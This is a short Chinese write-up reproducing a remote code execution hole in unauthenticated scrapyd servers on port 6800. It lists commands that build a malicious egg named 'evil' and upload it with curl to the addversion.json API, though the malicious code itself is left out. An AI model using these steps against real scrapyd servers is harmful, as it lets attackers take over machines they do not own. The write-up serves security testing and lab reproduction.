漏洞简介
scrapyd是爬虫框架scrapy提供的云服务,用户可以部署自己的scrapy包到云服务,默认监听在6800端口。如果攻击者能访问该端口,将可以部署恶意代码到服务器,进而获取服务器权限。
参考文章:https://www.leavesongs.com/PENETRATION/attack-scrapy.html
漏洞复现
构造一个恶意的scrapy包,构造前需要安装scrapy
与scrapyd-client
:
pip install scrapy
pip install scrapyd-client
然后使用命令:
scrapy startproject evil
cd evil
# 编辑 evil/__init__.py, 加入恶意代码
scrapyd-deploy --build-egg=evil.egg
恶意代码:
最后向API接口发送恶意包,即可执行代码:
curl http://your-ip:6800/addversion.json -F project=evil -F version=r01 -F egg=@evil.egg
返回靶机查看:
注意:
- 有关于
scrapyd-deploy
的报错处理可以在这篇文章中找到